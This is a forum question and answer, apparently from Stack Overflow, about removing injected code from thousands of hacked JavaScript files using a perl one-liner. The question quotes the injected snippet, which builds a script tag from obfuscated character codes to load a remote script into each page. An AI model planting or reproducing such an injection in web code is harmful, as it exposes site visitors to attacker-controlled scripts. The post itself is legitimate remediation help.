0

A server of mine was hacked, and they added at the beginning of every js file the following:

var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,...,106,115); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

I need to clean them and I can't manually since they are thousands of files.

I'm struggling to find a working solution, I read about perl, and I wrote this:

perl -pi -e 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,...,106,115\); s\.src=pl;\nif \(document\.currentScript\) \{\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else \{\nd\.getElementsByTagName\(\x27head\x27\)\[0\]\.appendChild\(s\);\n\}//' script.js

I tried on regex101 and the regex matches, the command gives no errors, but nothing is replaced...

2
3

perl will have to 'slurp' up the whole file in order to match \n character, so use the -0777 option:

perl -i -0777pe 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,\.\.\.,106,115\); s\.src=pl;\nif \(document\.currentScript\) {\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\(\x27head\x27\)\[0]\.appendChild\(s\);\n}\n//' script.js

Although with a hacked server there are likely more problems that need to be addressed.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.